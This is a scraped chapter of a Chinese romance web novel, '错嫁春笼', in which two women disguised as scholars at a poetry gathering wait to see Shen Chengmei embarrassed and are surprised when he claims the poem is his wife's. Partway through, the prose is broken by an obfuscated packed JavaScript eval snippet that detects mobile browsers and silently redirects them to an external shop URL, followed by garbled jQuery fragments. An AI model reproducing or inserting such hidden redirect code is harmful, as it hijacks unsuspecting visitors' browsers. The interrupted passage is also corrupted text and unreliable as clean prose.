文趣网 > 其他小说 > 错嫁春笼 > 33. 第 33 章捉妻
    且说这二人皆绾了发髻,戴着冠,身上穿着宽大的青衫。

    刘芙茜还特意在唇上贴了两撇假须。

    “你怎么这会儿才来?”

    刘芙茜压低声音埋怨道:“我一个人在这里等了半个时辰,险些叫人瞧出破绽来。”

    沈清晚慢悠悠理着衣袖,唇边带着笑:“我不来才好呢。昨儿一早我要是不迟到,你同我二哥哪里能在书房里那样亲近?”

    “你胡说什么!”

    刘芙茜脸上登时一红,连声气儿也带出些微颤来。

    “什么亲近,不过是……”

    “不过是什么?”

    沈清晚直眨巴着眼,“不过是我二哥从后头贴着你,握着你的手教你写字?”

    “还是不过是你们二人离得那样近,他连你身上的香气也闻得真真儿的?”

    “沈清晚!”

    刘芙茜恼羞成怒,探出手去便要拧她的胳膊。

    沈清晚身子一偏,轻巧躲开,笑得越发欢了:“哎呀,嫂嫂羞了?脸都红成这样。”

    “我没有羞!”

    刘芙茜追着便要打她。

    “你再满嘴里胡吣,我就……”

    “就什么?”

    沈清晚一面躲,一面笑着逗她,“去告诉二哥,说我欺负你?那二哥必定又要护着你,说不准还要——”

    “闭嘴!”

    刘芙茜再忍不住,扑过去便要捂她的嘴。

    两人就这样在座上闹起来,你推我一下,我躲你一下,衣袖都乱了。

    刘芙茜气了个倒仰,沈清晚却笑个不住,早忘了自己眼下还是男装。

    坐在她们前头的几个读书人,渐渐觉出不对来。

    “咦,后头那两位公子怎么……”

    一个戴四方帽的书生回头看了一眼,顿时睁大了眼。

    只见后头那两个“男子”正闹作一团,一个面色绯红,眼波流转,另一个笑得眉眼生动。

    举止之间,全不是男子模样。

    “这……这是……”

    另一个书生也转过头来,看见这一幕,手里的茶盏险些拿不稳。

    有人低声道:“莫不是……有断袖之癖?”

    “还在这等地方……”

    “实在有伤风化。”

    周围几个读书人纷纷侧目,有的面露惊色,有的皱眉别眼。

    不多时,她们身旁竟空出一片来,众人都不动声色地挪远了些。

    刘芙茜与沈清晚两个浑然未觉,犹自在那处调笑厮闹。

    “你们两个……”

    前头一个年长些的书生终于忍不住,转过身来正要开口训斥,却被刘芙茜一个动作惊得把话咽了回去。

    只见刘芙茜伸手去抓沈清晚的腰,沈清晚笑着往后一躲,两人身子一歪,姿态越发不像样。

    那书生脸色一变,忙转回身去,口中低声念道:“非礼勿视,非礼勿视。”

    “好芙茜,别闹了。”

    沈清晚终于觉出些不对,忙低声求饶。

    “你再这样闹下去,仔细一会儿叫我二哥瞧见了。”

    一听这话,刘芙茜身子登时僵住,忙朝前头主位瞥去。

    沈珵美斜倚在椅背上,身着一件暗青色杭绸直裰,并未看她,正听身旁人说话。

    他指节分明的手,一下一下轻轻叩着桌面,神色淡淡,似乎周遭这些喧闹都与他无关。

    刘芙茜才松了半口气,却见他忽然似无意一般,目光从她这个方向掠了过去。

    那眼神并未停留,瞧着也不像落在她身上,不过随意扫过一处。

    可就在那一瞬,他叩着桌面的指尖,似乎轻轻顿了一下。

    唇角也随之牵起一点极淡的弧度,快得叫人几乎疑心是看错了。

    刘芙茜心口猛地一跳,下意识攥紧了袖口。

    不可能。

    她都装扮成这样了,他不可能认得出来。

    定是她自己心虚,才疑神疑鬼。

    刘芙茜这才想起方才自己同清晚闹得太不像样,忙理了理衣衫,重新坐好。

    她偷偷往四下看去,却见周围的人都用一种古怪眼神瞧着她们。

    而且……

    怎么她们身旁都没人了?

    “清晚。”

    她小声问道:“他们怎么都离咱们这样远?”

    沈清晚也觉出不对来。

    她环顾一圈,见那些读书人不是面露惊色,便是掩面不看,再不然就是低头窃语。

    她怔了怔,忽然明白过来。

    “咳咳……”

    沈清晚清了清嗓子,竭力把声音压得粗些。

    “想来是……咱们方才太吵了?”

    只是她心里也明白,多半是方才她们举止太亲近,叫人误会了。

    想到这里,她自己也有些脸红。

    “罢了,不管他们。”

    刘芙茜强作镇定。

    “咱们的正事要紧。好戏就要开场了。”

    此时,台上司会的老者正在说今日雅集的章程。

    刘芙茜紧紧攥着袖口,心中暗道:沈珵美啊沈珵美,当着这许多人的面丢脸,我倒要瞧瞧,你这一回还能不能装好脾气。

    她又偷偷瞄了沈珵美一眼。

    只见他仍是那副淡淡的模样,斜倚在圈椅里,听着旁人说话,唇边还挂着那点若有若无的笑意,眼神平静地扫过众人,看不出半点波澜。

    刘芙茜不由疑道:“他怎么一点也不慌?”

    沈清晚嘟囔道:“二哥从不慌。”

    “怎么可能?”

    “怎么不可能?反正我不曾见过二哥慌张的样子。”沈清晚看她一眼,“怎么,你见过?”

    “我自然见过。”

    刘芙茜几乎脱口而出。

    “什么时候?”沈清晚奇道。

    刘芙茜一顿。

    脑中最先浮出的,竟是两年前游湖那一回。

    那日船上,清晚后来不慎落水。

    可在那之前,沈珵美便坐在她身旁。

    那挨千刀的沈珵美,那一遭也不知是吃了什么迷药,一副如临大敌的模样,整个人都绷得厉害。

    她那时心里直犯嘀咕,只当他是嫌弃她,怕同她坐得近了,便沾上什么不干净的东西。

    可是那一日,他的反应,又不像只是嫌弃。

    他好几回欲言又止,眼神也古怪,总是盯着她看,看得她心里发毛。

    她还以为他终于要同她摊牌了。

    不是嫌她碍眼,便是又要叫她离清晚远些,不许她们再来往。

    偏他又特意问船家,糕点里可曾放了牛乳。

    她那时全然不明白他要做什么。

    他怎么会知道她不能吃牛乳?

    他为什么要管这种事?

    按理说,他不是该巴不得她吃了,病上一场,难受一阵才好么?</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588163|204014||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    他那时似乎还有什么话要同她说。

    可她正满心忐忑地等着他开口,清晚便忽然落了水。

    一切就都断了。

    后来他也再未提起。

    想来,必定不是什么好话。

    奇怪的是,那种被他专注看着的感觉,那种心口忽然发乱的滋味,还有他无意碰到她时,她那一瞬的慌张……

    她竟到如今还记得清清楚楚。

    昨日在书房里,她又尝了一回。

    一样的慌。

    一样的心如擂鼓。

    一样的……不知该拿手脚往哪处放,不知该如何是好。

    “喂?芙茜,你怎么不说话了?”

    沈清晚凑近看她,眼中满是促狭。

    “只瞧见你的脸红了。”

    刘芙茜猛地回过神来,忙抬手捂住脸颊:“没有红!你看错了!”

    “还说没有,都红成什么样了。”

    沈清晚咯咯笑道:“你方才想什么呢?该不会是在想我二哥罢?想起昨日在书房里那番亲近了?”

    “沈清晚!”刘芙茜真真是羞愤难当,“你再胡说八道,我当真要捶你了!”

    沈清晚怕再惹人侧目,这才收了玩笑。

    刘芙茜轻轻吐出一口气,慢慢将捂在面上的手放下来。

    她这是怎么了?

    怎么偏在这种时候,想起这些乱七八糟的事来?

    眼下最要紧的,不该是等着看沈珵美的笑话么?

    “开始了!”沈清晚兴奋地拍了拍她的胳膊。

    台上,司会老者含笑环顾众人,最后目光落在沈珵美身上,扬声道:

    “今日雅集,便请沈公子先为我等抛砖引玉,如何?”

    刘芙茜与沈清晚同时屏住气,一眨不眨地盯着沈珵美。

    只见沈珵美缓缓起身,朝众人微一颔首,便往置诗稿的案前走去。

    他步子不疾不徐,神色也如常,竟瞧不出分毫不妥来。

    “他要看了……”

    刘芙茜只觉掌心里慢慢沁出汗来。

    沈珵美伸手取起诗稿,举止从容,指尖轻轻抚过纸边,垂眼往纸上看去。

    刘芙茜几乎要从座上站起来。

    她死死盯着沈珵美的脸,只等着看他震惊,恼怒,或是当众失态。

    谁知沈珵美只微微挑了挑眉。

    然后,他竟笑了。

    那笑完全不像是大动肝火前的冷笑,更寻不出一星半点要出乖露丑的窘态来。

    反而像是瞧见了什么有趣罕事一般。

    他抬起眼来,目光在人群中轻轻一扫,临了却不偏不倚地最后落到她们这边。

    刘芙茜心下猛地一突,忙不迭地垂下头去,装模作样地理着衣襟。

    “怎么回事?”

    沈清晚也觉出不对来,压低声音道:“二哥怎么还笑了?他不该动气么?”

    “我也不知道……”

    刘芙茜心里忽然生出一点不祥。

    台上,沈珵美轻轻清了清嗓子,开口道。

    他声音仍旧温润和缓,可落在芙茜耳朵里,却凭空听出几分大大不妙的意头来。

    “诸位莫笑。”

    沈珵美举起手中那张纸。

    “此篇,乃拙荆信手为我所作。”

    什么?!

    刘芙茜猛地睁大眼,几乎疑心自己听错了。

    他竟当众说,这是她写的?